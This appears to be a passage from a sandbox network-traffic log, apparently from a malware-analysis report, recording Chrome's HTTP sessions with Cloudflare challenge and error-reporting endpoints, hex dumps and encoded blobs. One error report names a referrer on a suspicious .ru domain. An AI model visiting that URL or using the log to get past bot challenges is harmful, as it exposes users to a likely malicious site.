TQFiBZ4t1Z0xxZWxKgIpxY3VokmVSj2ZZcHhecGCPgKiomHaCh66deJyNiZR0laaNk7qoqa6GjKCYgbd7sJWCnp6VgMKkjcOHrqGOqqqhnpTJ2pmVm6inzbCzoLDbtN7YwKnfo8q9qsbGurqprdHN2LjT6tHX/uzY8uH1zr3y4tf5+8nG2Nzc4OjRCMoV5dHu7dnr8tMS7x7YC+DvIA4iAwL0IR4kC/gIDDANECUqKAYmNBXzPT0JFQBBPi8THQ
2025-01-10 15:33:17 UTC	1369	IN	Data Raw: 68 55 39 71 65 55 70 73 63 70 47 51 61 59 74 59 65 57 6c 74 63 48 64 35 65 58 79 41 6c 4b 57 41 58 33 71 70 68 4b 6c 2b 72 59 69 73 62 62 47 4d 73 4b 79 31 6b 4c 53 56 72 49 75 79 71 34 32 51 6e 4a 43 37 72 36 4b 31 76 37 57 6c 6c 4a 4c 48 70 36 43 55 7a 49 61 6b 6d 4e 47 4b 71 4a 7a 57 6a 71 79 67 6b 4a 4b 77 70 4e 4f 57 74 4b 6a 5a 6d 72 69 73 30 4a 36 38 73 4e 57 69 77 4c 54 61 70 73 53 34 33 36 2f 51 73 4d 47 74 36 73 36 7a 38 73 54 48 36 72 32 36 30 4d 2f 4c 41 2f 55 44 42 63 62 62 36 74 58 56 43 76 30 50 45 66 6f 49 42 65 72 39 46 77 55 48 39 4f 58 70 37 51 34 4c 38 67 6b 4e 47 4e 37 75 38 68 55 59 42 50 58 36 34 68 54 70 4a 69 72 2b 4a 42 6f 52 44 52 48 78 49 2b 30 61 43 7a 63 70 46 42 38 71 4d 52 67 72 41 6b 45 36 4f 51 45 2b 52 44 6f 6c 41 7a 74 Data Ascii: hU9qeUpscpGQaYtYeWltcHd5eXyAlKWAX3qphKl+rYisbbGMsKy1kLSVrIuyq42QnJC7r6K1v7WllJLHp6CUzIakmNGKqJzWjqygkJKwpNOWtKjZmris0J68sNWiwLTapsS436/QsMGt6s6z8sTH6r260M/LA/UDBcbb6tXVCv0PEfoIBer9FwUH9OXp7Q4L8gkNGN7u8hUYBPX64hTpJir+JBoRDRHxI+0aCzcpFB8qMRgrAkE6OQE+RDolAzt
2025-01-10 15:33:17 UTC	1369	IN	Data Raw: 70 42 66 66 32 6c 73 65 57 56 31 65 48 61 67 6f 58 79 67 6e 4b 57 41 70 49 57 63 65 36 4b 62 66 59 43 4d 67 4b 75 66 6b 71 57 76 70 59 32 69 6d 48 4a 7a 71 61 32 30 69 59 79 4b 77 5a 2b 59 6a 4d 5a 2b 6e 4a 43 36 68 36 6d 6c 6d 59 58 42 69 59 76 4b 6e 4a 2f 43 6c 5a 4b 6f 71 36 57 30 75 39 72 63 6e 71 76 43 72 61 33 43 30 63 50 64 33 5a 75 37 36 73 50 5a 34 4f 7a 44 78 50 4b 77 7a 64 44 4f 2b 50 6e 55 2b 50 54 39 32 50 7a 64 39 4e 50 36 38 39 58 59 35 4e 67 45 39 2b 72 39 43 50 30 51 45 66 6e 76 36 41 49 47 44 65 48 6b 34 68 72 33 38 4f 51 66 31 76 54 6f 32 4e 72 34 37 42 7a 65 2f 50 41 69 34 67 48 30 47 65 59 46 2b 42 37 71 43 66 77 6a 37 67 30 42 4b 50 49 52 42 53 33 32 46 51 6b 79 2b 68 6b 4e 4e 2f 34 64 45 54 77 44 49 52 55 73 42 79 55 5a 4d 52 41 79 Data Ascii: pBff2lseWV1eHagoXygnKWApIWce6KbfYCMgKufkqWvpY2imHJzqa20iYyKwZ+YjMZ+nJC6h6mlmYXBiYvKnJ/ClZKoq6W0u9rcnqvCra3C0cPd3Zu76sPZ4OzDxPKwzdDO+PnU+PT92Pzd9NP689XY5NgE9+r9CP0QEfnv6AIGDeHk4hr38OQf1vTo2Nr47Bze/PAi4gH0GeYF+B7qCfwj7g0BKPIRBS32FQky+hkNN/4dETwDIRUsByUZMRAy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49725	35.190.80.1	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:17 UTC	533	OUT	OPTIONS /report/v4?s=awrljOXtvGc94f9Szt%2FE5%2FJTyWeo7LROzkIMTRFGpVE%2BE8PaYaeSgQMxk6tVEv5tJJ7tcYbwyVQzN4FNWKpiKSC0b77anxBVwlB24YPSp12sipovNs33VUA56SMujA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://k8.komirath.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:17 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 10 Jan 2025 15:33:17 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49727	104.18.94.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:17 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/672700251:1736522261:xGw24pH9Yt_lkF4lloT6WAHA0mE9pnF8fdg9tLdGolY/8ffdb9728d954299/ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:17 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Fri, 10 Jan 2025 15:33:17 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: U97sCRQBRCeBV88UZ00XuaF1Pg9+zl/raO2U6CRQDL/XaabpuXIGBoYqhsMgt7lB9u7Suavtn4IbB43mRDm6HA==$zTMfeCPbzgILDI96uwW5Ow== Server: cloudflare CF-RAY: 8ffdb9830dab8c3f-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:17 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49728	35.190.80.1	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:17 UTC	476	OUT	POST /report/v4?s=awrljOXtvGc94f9Szt%2FE5%2FJTyWeo7LROzkIMTRFGpVE%2BE8PaYaeSgQMxk6tVEv5tJJ7tcYbwyVQzN4FNWKpiKSC0b77anxBVwlB24YPSp12sipovNs33VUA56SMujA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 426 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:17 UTC	426	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 34 35 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6b 38 2e 6b 6f 6d 69 72 61 74 68 2e 72 75 2f 31 6a 56 56 53 68 47 49 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c Data Ascii: [{"age":0,"body":{"elapsed_time":452,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://k8.komirath.ru/1jVVShGI/","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":404,"type":"http.error"},"type":"network-error",
2025-01-10 15:33:17 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 10 Jan 2025 15:33:17 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49730	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:18 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8ffdb9728d954299/1736523196992/455d6818bba637271d82f03df91af8cd7f3a3912c893798423e027aab53b2bc2/KfIlyCWc5m61Ylx HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:18 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 10 Jan 2025 15:33:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-10 15:33:18 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 52 56 31 6f 47 4c 75 6d 4e 79 63 64 67 76 41 39 2d 52 72 34 7a 58 38 36 4f 52 4c 49 6b 33 6d 45 49 2d 41 6e 71 72 55 37 4b 38 49 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gRV1oGLumNycdgvA9-Rr4zX86ORLIk3mEI-AnqrU7K8IAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-10 15:33:18 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	63275	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:19 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8ffdb9728d954299/1736523196999/dOWpH4qw10PT6W1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:19 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:19 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ffdb98d2e5d7c90-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:19 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 4c 08 02 00 00 00 39 8d aa e2 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRL9IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	63276	104.18.94.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:20 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8ffdb9728d954299/1736523196999/dOWpH4qw10PT6W1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:20 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:20 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ffdb990fa130f79-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:20 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 4c 08 02 00 00 00 39 8d aa e2 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRL9IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	63277	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:20 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/672700251:1736522261:xGw24pH9Yt_lkF4lloT6WAHA0mE9pnF8fdg9tLdGolY/8ffdb9728d954299/ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32069 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:20 UTC	16384	OUT	Data Raw: 76 5f 38 66 66 64 62 39 37 32 38 64 39 35 34 32 39 39 3d 67 53 6f 32 4d 4e 41 77 4f 31 53 52 53 52 24 53 41 2d 41 31 78 6b 34 75 48 4e 41 51 52 78 32 6a 72 48 25 32 62 6e 73 52 76 4d 52 67 6f 41 50 59 52 32 32 74 73 31 32 52 24 6f 52 4c 47 6b 66 6f 41 66 52 37 32 41 72 31 52 62 70 4e 2b 31 67 33 52 48 47 52 68 70 52 43 52 46 70 52 77 6a 50 6b 48 42 44 6e 50 54 70 33 6b 70 52 63 75 34 6d 52 4a 32 2d 75 52 77 32 68 4a 6e 75 52 44 70 52 73 52 37 6b 41 59 2b 42 67 41 52 52 6a 50 52 6a 24 6b 52 48 63 33 74 6d 45 73 52 41 63 45 4c 33 53 47 72 51 70 52 30 33 72 77 53 63 34 46 6d 6b 52 45 72 33 49 2d 72 49 4c 45 31 52 48 6a 54 66 6b 41 52 6b 6e 45 77 52 4e 6a 55 6a 6f 6f 2b 6f 45 2d 31 6a 50 7a 5a 52 37 68 4c 6b 4e 65 7a 37 37 33 5a 71 78 67 62 71 2b 68 72 6d 68 Data Ascii: v_8ffdb9728d954299=gSo2MNAwO1SRSR$SA-A1xk4uHNAQRx2jrH%2bnsRvMRgoAPYR22ts12R$oRLGkfoAfR72Ar1RbpN+1g3RHGRhpRCRFpRwjPkHBDnPTp3kpRcu4mRJ2-uRw2hJnuRDpRsR7kAY+BgARRjPRj$kRHc3tmEsRAcEL3SGrQpR03rwSc4FmkREr3I-rILE1RHjTfkARknEwRNjUjoo+oE-1jPzZR7hLkNez773Zqxgbq+hrmh
2025-01-10 15:33:20 UTC	15685	OUT	Data Raw: 6a 6f 68 61 36 39 44 6b 52 34 32 35 52 6f 32 41 6b 52 43 52 6b 52 68 6b 41 52 31 4f 52 35 52 44 6b 67 6f 41 39 6b 58 38 2d 24 6e 56 52 73 52 67 6f 48 31 52 32 24 34 70 41 4e 52 4f 32 34 4f 6e 73 52 45 32 6a 44 52 32 52 6a 32 68 4f 52 30 52 43 32 2d 43 41 32 52 56 32 4c 72 52 59 52 78 52 61 72 41 68 44 33 74 4e 6d 4e 36 44 67 64 2b 42 5a 62 4e 68 32 52 53 4d 24 6b 4c 52 43 75 7a 34 43 77 72 61 32 41 55 52 44 52 61 63 49 77 6b 37 52 71 6a 4e 2d 52 6f 32 2d 53 4e 53 52 55 52 31 32 2d 64 43 4c 74 75 6d 41 7a 70 50 32 41 32 41 36 6d 47 73 74 70 52 6c 43 7a 6f 48 55 7a 49 52 61 63 66 76 55 4c 43 54 58 61 55 4d 7a 32 61 34 47 4b 74 4a 52 68 32 48 6b 52 47 32 4c 53 4c 52 41 66 50 5a 36 50 51 4d 4b 6b 47 39 47 70 6a 68 33 31 6b 34 63 7a 45 52 6f 32 67 6f 52 73 6f Data Ascii: joha69DkR425Ro2AkRCRkRhkAR1OR5RDkgoA9kX8-$nVRsRgoH1R2$4pANRO24OnsRE2jDR2Rj2hOR0RC2-CA2RV2LrRYRxRarAhD3tNmN6Dgd+BZbNh2RSM$kLRCuz4Cwra2AURDRacIwk7RqjN-Ro2-SNSRUR12-dCLtumAzpP2A2A6mGstpRlCzoHUzIRacfvULCTXaUMz2a4GKtJRh2HkRG2LSLRAfPZ6PQMKkG9Gpjh31k4czERo2goRso
2025-01-10 15:33:20 UTC	322	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:20 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26328 Connection: close cf-chl-gen: cuK1omXuhd/RU8FGPzyaFOr1Xp9ZpBubficRk0lVe3pdorix4nOTTG6cBMffbXpg$jo1DJIAclm1WhXGQBPtnIA== Server: cloudflare CF-RAY: 8ffdb9911f8c1a0b-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:20 UTC	1047	IN	Data Raw: 6a 34 52 69 61 6f 4f 46 64 56 52 4f 55 32 31 65 58 47 35 74 6d 32 4e 67 6e 46 35 79 63 61 52 69 64 6f 52 6c 65 49 56 35 69 70 43 43 6e 61 65 77 64 33 4e 78 64 6f 71 57 71 33 47 49 76 38 4b 35 67 70 79 63 6d 70 4b 68 6f 70 75 61 75 35 36 68 6d 4e 44 47 79 5a 44 43 72 4a 2b 4f 79 4a 58 4d 72 4e 44 53 31 5a 7a 65 74 35 6d 74 34 37 36 34 73 2b 48 62 34 4b 75 6f 74 75 79 36 34 62 37 43 30 74 33 6e 35 72 65 7a 73 65 33 4b 2f 66 6a 52 31 72 6e 2b 2b 62 38 44 33 4e 6a 57 30 51 48 73 34 76 72 4a 32 64 6f 41 36 76 76 69 2f 51 67 4a 31 39 54 69 47 4f 55 63 44 65 6e 37 43 2b 41 41 32 76 77 69 39 76 37 38 35 68 59 64 47 2b 55 71 4c 69 48 6b 38 2f 34 4c 39 44 6b 70 45 6a 6b 46 42 67 59 70 44 67 6b 64 4f 41 54 36 4e 54 63 2b 42 52 55 5a 42 55 41 5a 44 44 30 72 54 6b 5a Data Ascii: j4RiaoOFdVROU21eXG5tm2NgnF5ycaRidoRleIV5ipCCnaewd3NxdoqWq3GIv8K5gpycmpKhopuau56hmNDGyZDCrJ+OyJXMrNDS1Zzet5mt4764s+Hb4Kuotuy64b7C0t3n5rezse3K/fjR1rn++b8D3NjW0QHs4vrJ2doA6vvi/QgJ19TiGOUcDen7C+AA2vwi9v785hYdG+UqLiHk8/4L9DkpEjkFBgYpDgkdOAT6NTc+BRUZBUAZDD0rTkZ
2025-01-10 15:33:20 UTC	1369	IN	Data Raw: 6d 6d 33 4e 31 6d 35 71 72 5a 36 6c 72 6d 6e 32 6b 6b 62 43 4a 64 48 57 6b 73 72 53 57 6d 5a 32 4c 77 70 33 43 6c 38 61 68 78 59 62 4b 70 63 6e 46 7a 71 6e 4e 72 73 57 6b 79 38 53 6d 71 62 57 70 31 4d 69 37 7a 74 6a 4f 78 35 66 4a 31 72 33 61 31 4e 33 59 74 62 50 71 78 72 6a 70 32 2b 71 34 34 74 32 79 72 37 32 79 77 75 62 4d 75 74 6e 53 73 38 72 39 2b 2f 76 56 2b 50 63 47 2b 76 37 56 33 74 54 69 34 65 54 58 39 2f 41 4b 43 2b 4d 48 45 66 59 4d 30 65 49 4c 39 64 58 76 35 74 37 70 37 4e 6e 61 37 2f 51 44 33 76 50 38 42 2b 4c 33 42 53 59 52 2f 41 33 74 4c 51 55 50 36 44 55 70 49 2f 4d 49 4e 68 34 62 46 77 77 58 2b 77 38 32 52 79 45 6c 48 53 6b 6f 48 30 64 4e 48 53 30 36 50 54 38 6c 55 69 6f 75 53 79 30 32 53 44 45 72 52 31 6c 63 48 32 45 74 50 57 49 30 4d 30 Data Ascii: mm3N1m5qrZ6lrmn2kkbCJdHWksrSWmZ2Lwp3Cl8ahxYbKpcnFzqnNrsWky8SmqbWp1Mi7ztjOx5fJ1r3a1N3YtbPqxrjp2+q44t2yr72ywubMutnSs8r9+/vV+PcG+v7V3tTi4eTX9/AKC+MHEfYM0eIL9dXv5t7p7Nna7/QD3vP8B+L3BSYR/A3tLQUP6DUpI/MINh4bFwwX+w82RyElHSkoH0dNHS06PT8lUiouSy02SDErR1lcH2EtPWI0M0
2025-01-10 15:33:20 UTC	1369	IN	Data Raw: 70 47 36 78 6e 35 36 69 63 48 56 75 71 35 53 6b 63 35 5a 37 6b 70 69 7a 6e 37 71 69 74 4b 37 42 6b 6f 69 55 76 49 71 47 69 34 43 58 7a 73 4f 6b 6e 71 36 74 71 5a 57 58 73 4c 61 54 79 74 75 5a 31 4e 50 68 73 35 6e 55 77 2b 54 66 78 5a 2b 6d 75 4c 57 6a 72 4e 6e 6c 35 4b 79 2b 78 2b 72 6a 37 66 65 31 35 4e 58 39 39 62 76 31 30 39 6e 38 41 66 4f 37 32 4e 48 65 35 41 7a 35 2b 77 54 74 31 2f 48 70 78 41 6e 4d 35 2b 62 54 37 2b 37 61 34 77 72 59 36 65 6b 52 39 65 34 58 37 2b 49 55 42 50 67 62 48 65 72 6e 4b 50 37 34 2b 50 30 62 2b 79 4d 4b 4b 41 45 4b 45 75 77 78 38 7a 34 50 2b 78 67 59 43 77 34 30 4d 43 59 52 45 6a 59 6e 49 30 51 4f 49 67 30 76 4c 45 67 47 49 52 4d 6c 51 46 56 5a 4b 31 45 62 4f 56 4d 65 4e 46 34 67 4e 31 4a 6a 5a 6c 63 31 56 57 63 6b 52 57 49 Data Ascii: pG6xn56icHVuq5Skc5Z7kpizn7qitK7BkoiUvIqGi4CXzsOknq6tqZWXsLaTytuZ1NPhs5nUw+TfxZ+muLWjrNnl5Ky+x+rj7fe15NX99bv109n8AfO72NHe5Az5+wTt1/HpxAnM5+bT7+7a4wrY6ekR9e4X7+IUBPgbHernKP74+P0b+yMKKAEKEuwx8z4P+xgYCw40MCYREjYnI0QOIg0vLEgGIRMlQFVZK1EbOVMeNF4gN1JjZlc1VWckRWI
2025-01-10 15:33:20 UTC	1369	IN	Data Raw: 4b 61 4c 61 70 6d 49 65 4c 4b 73 74 62 43 4e 69 38 4b 67 6d 59 33 48 66 35 32 52 67 59 4f 68 6c 63 53 48 70 5a 6e 4b 6b 4c 47 56 6f 73 6a 54 78 36 76 49 76 61 69 58 73 38 6e 4a 32 4a 6d 37 75 71 61 76 77 4e 2b 31 74 72 58 69 72 75 66 46 71 2f 50 6b 76 65 66 49 78 50 62 4d 72 4d 50 36 33 64 2f 4a 39 64 2f 54 38 64 33 74 2f 51 59 48 35 4e 6a 55 78 4e 6e 73 35 73 76 6b 37 52 49 47 43 66 55 42 34 68 49 50 36 66 73 63 48 2b 30 41 41 69 50 63 32 76 6a 69 35 67 55 5a 35 68 34 67 41 2f 67 6c 44 52 34 6c 4b 69 34 78 4d 41 50 76 4c 51 51 35 4f 7a 45 72 48 78 4d 71 4e 53 44 38 50 41 62 2b 43 54 6f 4b 41 77 77 6f 44 67 63 51 4b 42 49 4c 46 43 67 57 44 78 67 6e 55 6b 78 56 56 45 38 36 47 56 4a 4d 52 44 4d 33 4f 6b 68 5a 4f 7a 74 6b 4f 57 31 48 61 6b 35 4e 53 30 68 77 Data Ascii: KaLapmIeLKstbCNi8KgmY3Hf52RgYOhlcSHpZnKkLGVosjTx6vIvaiXs8nJ2Jm7uqavwN+1trXirufFq/PkvefIxPbMrMP63d/J9d/T8d3t/QYH5NjUxNns5svk7RIGCfUB4hIP6fscH+0AAiPc2vji5gUZ5h4gA/glDR4lKi4xMAPvLQQ5OzErHxMqNSD8PAb+CToKAwwoDgcQKBILFCgWDxgnUkxVVE86GVJMRDM3OkhZOztkOW1Hak5NS0hw
2025-01-10 15:33:20 UTC	1369	IN	Data Raw: 70 37 75 4a 6c 33 6c 37 71 4e 6d 35 7a 48 74 70 47 57 6e 35 57 45 77 36 43 38 77 73 79 6c 70 38 75 4f 31 73 79 57 72 35 6e 51 6d 74 58 61 32 35 36 72 34 73 43 34 33 39 4f 35 33 74 71 68 71 71 65 39 75 62 69 35 38 75 2f 30 33 73 6a 45 77 62 44 6a 7a 39 50 45 39 4c 44 5a 74 2f 76 42 2b 2f 44 6b 41 41 51 46 41 75 6e 57 36 4e 58 58 2f 41 4c 4e 35 65 72 6d 43 77 72 57 41 68 4d 49 2b 68 41 4a 38 52 77 69 49 69 4d 62 39 79 62 2b 46 69 44 7a 35 68 37 39 41 41 59 6c 37 41 51 4e 4b 2f 41 69 46 53 37 31 43 43 59 77 39 79 72 33 4f 78 51 59 50 7a 45 75 47 42 51 2b 51 43 41 54 51 7a 59 59 50 54 38 4d 44 31 52 47 4e 6c 49 6a 54 56 42 47 54 31 4a 55 56 69 68 53 48 7a 68 41 56 6a 68 4f 51 6d 46 67 58 6b 52 6a 4b 54 68 48 59 6c 70 78 4a 57 34 7a 63 6d 6c 76 63 57 5a 76 64 Data Ascii: 